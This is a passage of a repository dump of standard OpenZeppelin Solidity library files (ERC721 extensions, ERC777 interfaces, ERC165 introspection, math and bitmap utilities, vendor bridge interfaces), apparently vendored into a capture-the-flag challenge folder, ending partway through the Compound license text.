-------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/token/ERC721/extensions/ERC721Royalty.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.8.0) (token/ERC721/extensions/ERC721Royalty.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../ERC721.sol"; 7 | import "../../common/ERC2981.sol"; 8 | import "../../../utils/introspection/ERC165.sol"; 9 | 10 | /** 11 | * @dev Extension of ERC721 with the ERC2981 NFT Royalty Standard, a standardized way to retrieve royalty payment 12 | * information. 13 | * 14 | * Royalty information can be specified globally for all token ids via {ERC2981-_setDefaultRoyalty}, and/or individually for 15 | * specific token ids via {ERC2981-_setTokenRoyalty}. The latter takes precedence over the first. 16 | * 17 | * IMPORTANT: ERC-2981 only specifies a way to signal royalty information and does not enforce its payment. See 18 | * https://eips.ethereum.org/EIPS/eip-2981#optional-royalty-payments[Rationale] in the EIP. Marketplaces are expected to 19 | * voluntarily pay royalties together with sales, but note that this standard is not yet widely supported. 20 | * 21 | * _Available since v4.5._ 22 | */ 23 | abstract contract ERC721Royalty is ERC2981, ERC721 { 24 | /** 25 | * @dev See {IERC165-supportsInterface}. 26 | */ 27 | function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC2981) returns (bool) { 28 | return super.supportsInterface(interfaceId); 29 | } 30 | 31 | /** 32 | * @dev See {ERC721-_burn}. This override additionally clears the royalty information for the token. 33 | */ 34 | function _burn(uint256 tokenId) internal virtual override { 35 | super._burn(tokenId); 36 | _resetTokenRoyalty(tokenId); 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/token/ERC721/extensions/ERC721Votes.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.8.0) (token/ERC721/extensions/ERC721Votes.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../ERC721.sol"; 7 | import "../../../governance/utils/Votes.sol"; 8 | 9 | /** 10 | * @dev Extension of ERC721 to support voting and delegation as implemented by {Votes}, where each individual NFT counts 11 | * as 1 vote unit. 12 | * 13 | * Tokens do not count as votes until they are delegated, because votes must be tracked which incurs an additional cost 14 | * on every transfer. Token holders can either delegate to a trusted representative who will decide how to make use of 15 | * the votes in governance decisions, or they can delegate to themselves to be their own representative. 16 | * 17 | * _Available since v4.5._ 18 | */ 19 | abstract contract ERC721Votes is ERC721, Votes { 20 | /** 21 | * @dev See {ERC721-_afterTokenTransfer}. Adjusts votes when tokens are transferred. 22 | * 23 | * Emits a {IVotes-DelegateVotesChanged} event. 24 | */ 25 | function _afterTokenTransfer( 26 | address from, 27 | address to, 28 | uint256 firstTokenId, 29 | uint256 batchSize 30 | ) internal virtual override { 31 | _transferVotingUnits(from, to, batchSize); 32 | super._afterTokenTransfer(from, to, firstTokenId, batchSize); 33 | } 34 | 35 | /** 36 | * @dev Returns the balance of `account`. 37 | */ 38 | function _getVotingUnits(address account) internal view virtual override returns (uint256) { 39 | return balanceOf(account); 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/token/ERC721/extensions/IERC721Enumerable.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../IERC721.sol"; 7 | 8 | /** 9 | * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension 10 | * @dev See https://eips.ethereum.org/EIPS/eip-721 11 | */ 12 | interface IERC721Enumerable is IERC721 { 13 | /** 14 | * @dev Returns the total amount of tokens stored by the contract. 15 | */ 16 | function totalSupply() external view returns (uint256); 17 | 18 | /** 19 | * @dev Returns a token ID owned by `owner` at a given `index` of its token list. 20 | * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. 21 | */ 22 | function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); 23 | 24 | /** 25 | * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. 26 | * Use along with {totalSupply} to enumerate all tokens. 27 | */ 28 | function tokenByIndex(uint256 index) external view returns (uint256); 29 | } 30 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/token/ERC721/extensions/IERC721Metadata.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../IERC721.sol"; 7 | 8 | /** 9 | * @title ERC-721 Non-Fungible Token Standard, optional metadata extension 10 | * @dev See https://eips.ethereum.org/EIPS/eip-721 11 | */ 12 | interface IERC721Metadata is IERC721 { 13 | /** 14 | * @dev Returns the token collection name. 15 | */ 16 | function name() external view returns (string memory); 17 | 18 | /** 19 | * @dev Returns the token collection symbol. 20 | */ 21 | function symbol() external view returns (string memory); 22 | 23 | /** 24 | * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. 25 | */ 26 | function tokenURI(uint256 tokenId) external view returns (string memory); 27 | } 28 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/token/ERC721/extensions/draft-ERC721Votes.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.8.0) (token/ERC721/extensions/draft-ERC721Votes.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | // ERC721Votes was marked as draft due to the EIP-712 dependency. 7 | // EIP-712 is Final as of 2022-08-11. This file is deprecated. 8 | 9 | import "./ERC721Votes.sol"; 10 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/token/ERC721/presets/README.md: -------------------------------------------------------------------------------- 1 | Contract presets are now deprecated in favor of [Contracts Wizard](https://wizard.openzeppelin.com/) as a more powerful alternative. 2 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/token/ERC721/utils/ERC721Holder.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (token/ERC721/utils/ERC721Holder.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../IERC721Receiver.sol"; 7 | 8 | /** 9 | * @dev Implementation of the {IERC721Receiver} interface. 10 | * 11 | * Accepts all token transfers. 12 | * Make sure the contract is able to use its token with {IERC721-safeTransferFrom}, {IERC721-approve} or {IERC721-setApprovalForAll}. 13 | */ 14 | contract ERC721Holder is IERC721Receiver { 15 | /** 16 | * @dev See {IERC721Receiver-onERC721Received}. 17 | * 18 | * Always returns `IERC721Receiver.onERC721Received.selector`. 19 | */ 20 | function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4) { 21 | return this.onERC721Received.selector; 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/token/ERC777/IERC777Recipient.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (token/ERC777/IERC777Recipient.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | /** 7 | * @dev Interface of the ERC777TokensRecipient standard as defined in the EIP. 8 | * 9 | * Accounts can be notified of {IERC777} tokens being sent to them by having a 10 | * contract implement this interface (contract holders can be their own 11 | * implementer) and registering it on the 12 | * https://eips.ethereum.org/EIPS/eip-1820[ERC1820 global registry]. 13 | * 14 | * See {IERC1820Registry} and {ERC1820Implementer}. 15 | */ 16 | interface IERC777Recipient { 17 | /** 18 | * @dev Called by an {IERC777} token contract whenever tokens are being 19 | * moved or created into a registered account (`to`). The type of operation 20 | * is conveyed by `from` being the zero address or not. 21 | * 22 | * This call occurs _after_ the token contract's state is updated, so 23 | * {IERC777-balanceOf}, etc., can be used to query the post-operation state. 24 | * 25 | * This function may revert to prevent the operation from being executed. 26 | */ 27 | function tokensReceived( 28 | address operator, 29 | address from, 30 | address to, 31 | uint256 amount, 32 | bytes calldata userData, 33 | bytes calldata operatorData 34 | ) external; 35 | } 36 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/token/ERC777/IERC777Sender.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (token/ERC777/IERC777Sender.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | /** 7 | * @dev Interface of the ERC777TokensSender standard as defined in the EIP. 8 | * 9 | * {IERC777} Token holders can be notified of operations performed on their 10 | * tokens by having a contract implement this interface (contract holders can be 11 | * their own implementer) and registering it on the 12 | * https://eips.ethereum.org/EIPS/eip-1820[ERC1820 global registry]. 13 | * 14 | * See {IERC1820Registry} and {ERC1820Implementer}. 15 | */ 16 | interface IERC777Sender { 17 | /** 18 | * @dev Called by an {IERC777} token contract whenever a registered holder's 19 | * (`from`) tokens are about to be moved or destroyed. The type of operation 20 | * is conveyed by `to` being the zero address or not. 21 | * 22 | * This call occurs _before_ the token contract's state is updated, so 23 | * {IERC777-balanceOf}, etc., can be used to query the pre-operation state. 24 | * 25 | * This function may revert to prevent the operation from being executed. 26 | */ 27 | function tokensToSend( 28 | address operator, 29 | address from, 30 | address to, 31 | uint256 amount, 32 | bytes calldata userData, 33 | bytes calldata operatorData 34 | ) external; 35 | } 36 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/token/ERC777/README.adoc: -------------------------------------------------------------------------------- 1 | = ERC 777 2 | 3 | [.readme-notice] 4 | NOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/token/erc777 5 | 6 | This set of interfaces and contracts are all related to the https://eips.ethereum.org/EIPS/eip-777[ERC777 token standard]. 7 | 8 | TIP: For an overview of ERC777 tokens and a walk through on how to create a token contract read our xref:ROOT:erc777.adoc[ERC777 guide]. 9 | 10 | The token behavior itself is implemented in the core contracts: {IERC777}, {ERC777}. 11 | 12 | Additionally there are interfaces used to develop contracts that react to token movements: {IERC777Sender}, {IERC777Recipient}. 13 | 14 | == Core 15 | 16 | {{IERC777}} 17 | 18 | {{ERC777}} 19 | 20 | == Hooks 21 | 22 | {{IERC777Sender}} 23 | 24 | {{IERC777Recipient}} 25 | 26 | == Presets 27 | 28 | These contracts are preconfigured combinations of features. They can be used through inheritance or as models to copy and paste their source code. 29 | 30 | {{ERC777PresetFixedSupply}} 31 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/token/ERC777/presets/ERC777PresetFixedSupply.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (token/ERC777/presets/ERC777PresetFixedSupply.sol) 3 | pragma solidity ^0.8.0; 4 | 5 | import "../ERC777.sol"; 6 | 7 | /** 8 | * @dev {ERC777} token, including: 9 | * 10 | * - Preminted initial supply 11 | * - No access control mechanism (for minting/pausing) and hence no governance 12 | * 13 | * _Available since v3.4._ 14 | */ 15 | contract ERC777PresetFixedSupply is ERC777 { 16 | /** 17 | * @dev Mints `initialSupply` amount of token and transfers them to `owner`. 18 | * 19 | * See {ERC777-constructor}. 20 | */ 21 | constructor( 22 | string memory name, 23 | string memory symbol, 24 | address[] memory defaultOperators, 25 | uint256 initialSupply, 26 | address owner 27 | ) ERC777(name, symbol, defaultOperators) { 28 | _mint(owner, initialSupply, "", ""); 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/token/common/README.adoc: -------------------------------------------------------------------------------- 1 | = Common (Tokens) 2 | 3 | Functionality that is common to multiple token standards. 4 | 5 | * {ERC2981}: NFT Royalties compatible with both ERC721 and ERC1155. 6 | ** For ERC721 consider {ERC721Royalty} which clears the royalty information from storage on burn. 7 | 8 | == Contracts 9 | 10 | {{ERC2981}} 11 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/utils/Context.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | /** 7 | * @dev Provides information about the current execution context, including the 8 | * sender of the transaction and its data. While these are generally available 9 | * via msg.sender and msg.data, they should not be accessed in such a direct 10 | * manner, since when dealing with meta-transactions the account sending and 11 | * paying for execution may not be the actual sender (as far as an application 12 | * is concerned). 13 | * 14 | * This contract is only required for intermediate, library-like contracts. 15 | */ 16 | abstract contract Context { 17 | function _msgSender() internal view virtual returns (address) { 18 | return msg.sender; 19 | } 20 | 21 | function _msgData() internal view virtual returns (bytes calldata) { 22 | return msg.data; 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/utils/Counters.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | /** 7 | * @title Counters 8 | * @author Matt Condon (@shrugs) 9 | * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number 10 | * of elements in a mapping, issuing ERC721 ids, or counting request ids. 11 | * 12 | * Include with `using Counters for Counters.Counter;` 13 | */ 14 | library Counters { 15 | struct Counter { 16 | // This variable should never be directly accessed by users of the library: interactions must be restricted to 17 | // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add 18 | // this feature: see https://github.com/ethereum/solidity/issues/4637 19 | uint256 _value; // default: 0 20 | } 21 | 22 | function current(Counter storage counter) internal view returns (uint256) { 23 | return counter._value; 24 | } 25 | 26 | function increment(Counter storage counter) internal { 27 | unchecked { 28 | counter._value += 1; 29 | } 30 | } 31 | 32 | function decrement(Counter storage counter) internal { 33 | uint256 value = counter._value; 34 | require(value > 0, "Counter: decrement overflow"); 35 | unchecked { 36 | counter._value = value - 1; 37 | } 38 | } 39 | 40 | function reset(Counter storage counter) internal { 41 | counter._value = 0; 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/utils/Multicall.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.5.0) (utils/Multicall.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "./Address.sol"; 7 | 8 | /** 9 | * @dev Provides a function to batch together multiple calls in a single external call. 10 | * 11 | * _Available since v4.1._ 12 | */ 13 | abstract contract Multicall { 14 | /** 15 | * @dev Receives and executes a batch of function calls on this contract. 16 | */ 17 | function multicall(bytes[] calldata data) external virtual returns (bytes[] memory results) { 18 | results = new bytes[](data.length); 19 | for (uint256 i = 0; i < data.length; i++) { 20 | results[i] = Address.functionDelegateCall(address(this), data[i]); 21 | } 22 | return results; 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/utils/cryptography/draft-EIP712.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.8.0) (utils/cryptography/draft-EIP712.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | // EIP-712 is Final as of 2022-08-11. This file is deprecated. 7 | 8 | import "./EIP712.sol"; 9 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/utils/escrow/ConditionalEscrow.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (utils/escrow/ConditionalEscrow.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "./Escrow.sol"; 7 | 8 | /** 9 | * @title ConditionalEscrow 10 | * @dev Base abstract escrow to only allow withdrawal if a condition is met. 11 | * @dev Intended usage: See {Escrow}. Same usage guidelines apply here. 12 | */ 13 | abstract contract ConditionalEscrow is Escrow { 14 | /** 15 | * @dev Returns whether an address is allowed to withdraw their funds. To be 16 | * implemented by derived contracts. 17 | * @param payee The destination address of the funds. 18 | */ 19 | function withdrawalAllowed(address payee) public view virtual returns (bool); 20 | 21 | function withdraw(address payable payee) public virtual override { 22 | require(withdrawalAllowed(payee), "ConditionalEscrow: payee is not allowed to withdraw"); 23 | super.withdraw(payee); 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/utils/introspection/ERC165.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "./IERC165.sol"; 7 | 8 | /** 9 | * @dev Implementation of the {IERC165} interface. 10 | * 11 | * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check 12 | * for the additional interface id that will be supported. For example: 13 | * 14 | * ```solidity 15 | * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { 16 | * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); 17 | * } 18 | * ``` 19 | * 20 | * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. 21 | */ 22 | abstract contract ERC165 is IERC165 { 23 | /** 24 | * @dev See {IERC165-supportsInterface}. 25 | */ 26 | function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { 27 | return interfaceId == type(IERC165).interfaceId; 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/utils/introspection/ERC165Storage.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165Storage.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "./ERC165.sol"; 7 | 8 | /** 9 | * @dev Storage based implementation of the {IERC165} interface. 10 | * 11 | * Contracts may inherit from this and call {_registerInterface} to declare 12 | * their support of an interface. 13 | */ 14 | abstract contract ERC165Storage is ERC165 { 15 | /** 16 | * @dev Mapping of interface ids to whether or not it's supported. 17 | */ 18 | mapping(bytes4 => bool) private _supportedInterfaces; 19 | 20 | /** 21 | * @dev See {IERC165-supportsInterface}. 22 | */ 23 | function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { 24 | return super.supportsInterface(interfaceId) || _supportedInterfaces[interfaceId]; 25 | } 26 | 27 | /** 28 | * @dev Registers the contract as an implementer of the interface defined by 29 | * `interfaceId`. Support of the actual ERC165 interface is automatic and 30 | * registering its interface id is not required. 31 | * 32 | * See {IERC165-supportsInterface}. 33 | * 34 | * Requirements: 35 | * 36 | * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). 37 | */ 38 | function _registerInterface(bytes4 interfaceId) internal virtual { 39 | require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); 40 | _supportedInterfaces[interfaceId] = true; 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/utils/introspection/ERC1820Implementer.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC1820Implementer.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "./IERC1820Implementer.sol"; 7 | 8 | /** 9 | * @dev Implementation of the {IERC1820Implementer} interface. 10 | * 11 | * Contracts may inherit from this and call {_registerInterfaceForAddress} to 12 | * declare their willingness to be implementers. 13 | * {IERC1820Registry-setInterfaceImplementer} should then be called for the 14 | * registration to be complete. 15 | */ 16 | contract ERC1820Implementer is IERC1820Implementer { 17 | bytes32 private constant _ERC1820_ACCEPT_MAGIC = keccak256("ERC1820_ACCEPT_MAGIC"); 18 | 19 | mapping(bytes32 => mapping(address => bool)) private _supportedInterfaces; 20 | 21 | /** 22 | * @dev See {IERC1820Implementer-canImplementInterfaceForAddress}. 23 | */ 24 | function canImplementInterfaceForAddress( 25 | bytes32 interfaceHash, 26 | address account 27 | ) public view virtual override returns (bytes32) { 28 | return _supportedInterfaces[interfaceHash][account] ? _ERC1820_ACCEPT_MAGIC : bytes32(0x00); 29 | } 30 | 31 | /** 32 | * @dev Declares the contract as willing to be an implementer of 33 | * `interfaceHash` for `account`. 34 | * 35 | * See {IERC1820Registry-setInterfaceImplementer} and 36 | * {IERC1820Registry-interfaceHash}. 37 | */ 38 | function _registerInterfaceForAddress(bytes32 interfaceHash, address account) internal virtual { 39 | _supportedInterfaces[interfaceHash][account] = true; 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/utils/introspection/IERC165.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | /** 7 | * @dev Interface of the ERC165 standard, as defined in the 8 | * https://eips.ethereum.org/EIPS/eip-165[EIP]. 9 | * 10 | * Implementers can declare support of contract interfaces, which can then be 11 | * queried by others ({ERC165Checker}). 12 | * 13 | * For an implementation, see {ERC165}. 14 | */ 15 | interface IERC165 { 16 | /** 17 | * @dev Returns true if this contract implements the interface defined by 18 | * `interfaceId`. See the corresponding 19 | * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] 20 | * to learn more about how these ids are created. 21 | * 22 | * This function call must use less than 30 000 gas. 23 | */ 24 | function supportsInterface(bytes4 interfaceId) external view returns (bool); 25 | } 26 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/utils/introspection/IERC1820Implementer.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC1820Implementer.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | /** 7 | * @dev Interface for an ERC1820 implementer, as defined in the 8 | * https://eips.ethereum.org/EIPS/eip-1820#interface-implementation-erc1820implementerinterface[EIP]. 9 | * Used by contracts that will be registered as implementers in the 10 | * {IERC1820Registry}. 11 | */ 12 | interface IERC1820Implementer { 13 | /** 14 | * @dev Returns a special value (`ERC1820_ACCEPT_MAGIC`) if this contract 15 | * implements `interfaceHash` for `account`. 16 | * 17 | * See {IERC1820Registry-setInterfaceImplementer}. 18 | */ 19 | function canImplementInterfaceForAddress(bytes32 interfaceHash, address account) external view returns (bytes32); 20 | } 21 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/utils/math/SignedMath.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SignedMath.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | /** 7 | * @dev Standard signed math utilities missing in the Solidity language. 8 | */ 9 | library SignedMath { 10 | /** 11 | * @dev Returns the largest of two signed numbers. 12 | */ 13 | function max(int256 a, int256 b) internal pure returns (int256) { 14 | return a > b ? a : b; 15 | } 16 | 17 | /** 18 | * @dev Returns the smallest of two signed numbers. 19 | */ 20 | function min(int256 a, int256 b) internal pure returns (int256) { 21 | return a < b ? a : b; 22 | } 23 | 24 | /** 25 | * @dev Returns the average of two signed numbers without overflow. 26 | * The result is rounded towards zero. 27 | */ 28 | function average(int256 a, int256 b) internal pure returns (int256) { 29 | // Formula from the book "Hacker's Delight" 30 | int256 x = (a & b) + ((a ^ b) >> 1); 31 | return x + (int256(uint256(x) >> 255) & (a ^ b)); 32 | } 33 | 34 | /** 35 | * @dev Returns the absolute unsigned value of a signed value. 36 | */ 37 | function abs(int256 n) internal pure returns (uint256) { 38 | unchecked { 39 | // must be unchecked in order to support `n = type(int256).min` 40 | return uint256(n >= 0 ? n : -n); 41 | } 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/utils/structs/BitMaps.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.8.0) (utils/structs/BitMaps.sol) 3 | pragma solidity ^0.8.0; 4 | 5 | /** 6 | * @dev Library for managing uint256 to bool mapping in a compact and efficient way, providing the keys are sequential. 7 | * Largely inspired by Uniswap's https://github.com/Uniswap/merkle-distributor/blob/master/contracts/MerkleDistributor.sol[merkle-distributor]. 8 | */ 9 | library BitMaps { 10 | struct BitMap { 11 | mapping(uint256 => uint256) _data; 12 | } 13 | 14 | /** 15 | * @dev Returns whether the bit at `index` is set. 16 | */ 17 | function get(BitMap storage bitmap, uint256 index) internal view returns (bool) { 18 | uint256 bucket = index >> 8; 19 | uint256 mask = 1 << (index & 0xff); 20 | return bitmap._data[bucket] & mask != 0; 21 | } 22 | 23 | /** 24 | * @dev Sets the bit at `index` to the boolean `value`. 25 | */ 26 | function setTo(BitMap storage bitmap, uint256 index, bool value) internal { 27 | if (value) { 28 | set(bitmap, index); 29 | } else { 30 | unset(bitmap, index); 31 | } 32 | } 33 | 34 | /** 35 | * @dev Sets the bit at `index`. 36 | */ 37 | function set(BitMap storage bitmap, uint256 index) internal { 38 | uint256 bucket = index >> 8; 39 | uint256 mask = 1 << (index & 0xff); 40 | bitmap._data[bucket] |= mask; 41 | } 42 | 43 | /** 44 | * @dev Unsets the bit at `index`. 45 | */ 46 | function unset(BitMap storage bitmap, uint256 index) internal { 47 | uint256 bucket = index >> 8; 48 | uint256 mask = 1 << (index & 0xff); 49 | bitmap._data[bucket] &= ~mask; 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/vendor/amb/IAMB.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.6.0) (vendor/amb/IAMB.sol) 3 | pragma solidity ^0.8.0; 4 | 5 | interface IAMB { 6 | event UserRequestForAffirmation(bytes32 indexed messageId, bytes encodedData); 7 | event UserRequestForSignature(bytes32 indexed messageId, bytes encodedData); 8 | event AffirmationCompleted( 9 | address indexed sender, 10 | address indexed executor, 11 | bytes32 indexed messageId, 12 | bool status 13 | ); 14 | event RelayedMessage(address indexed sender, address indexed executor, bytes32 indexed messageId, bool status); 15 | 16 | function messageSender() external view returns (address); 17 | 18 | function maxGasPerTx() external view returns (uint256); 19 | 20 | function transactionHash() external view returns (bytes32); 21 | 22 | function messageId() external view returns (bytes32); 23 | 24 | function messageSourceChainId() external view returns (bytes32); 25 | 26 | function messageCallStatus(bytes32 _messageId) external view returns (bool); 27 | 28 | function failedMessageDataHash(bytes32 _messageId) external view returns (bytes32); 29 | 30 | function failedMessageReceiver(bytes32 _messageId) external view returns (address); 31 | 32 | function failedMessageSender(bytes32 _messageId) external view returns (address); 33 | 34 | function requireToPassMessage(address _contract, bytes calldata _data, uint256 _gas) external returns (bytes32); 35 | 36 | function requireToConfirmMessage(address _contract, bytes calldata _data, uint256 _gas) external returns (bytes32); 37 | 38 | function sourceChainId() external view returns (uint256); 39 | 40 | function destinationChainId() external view returns (uint256); 41 | } 42 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/vendor/arbitrum/IDelayedMessageProvider.sol: -------------------------------------------------------------------------------- 1 | // Copyright 2021-2022, Offchain Labs, Inc. 2 | // For license information, see https://github.com/nitro/blob/master/LICENSE 3 | // SPDX-License-Identifier: BUSL-1.1 4 | // OpenZeppelin Contracts (last updated v4.8.0) (vendor/arbitrum/IDelayedMessageProvider.sol) 5 | 6 | // solhint-disable-next-line compiler-version 7 | pragma solidity >=0.6.9 <0.9.0; 8 | 9 | interface IDelayedMessageProvider { 10 | /// @dev event emitted when a inbox message is added to the Bridge's delayed accumulator 11 | event InboxMessageDelivered(uint256 indexed messageNum, bytes data); 12 | 13 | /// @dev event emitted when a inbox message is added to the Bridge's delayed accumulator 14 | /// same as InboxMessageDelivered but the batch data is available in tx.input 15 | event InboxMessageDeliveredFromOrigin(uint256 indexed messageNum); 16 | } 17 | -------------------------------------------------------------------------------- /hacktm23/dragonSlayer/files/openzeppelin-contracts/vendor/compound/LICENSE: -------------------------------------------------------------------------------- 1 | Copyright 2020 Compound Labs, Inc. 2 | 3 | Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 4 | 5 | 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 6 | 7 | 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 8 | 9 | 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. 10 | 11 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 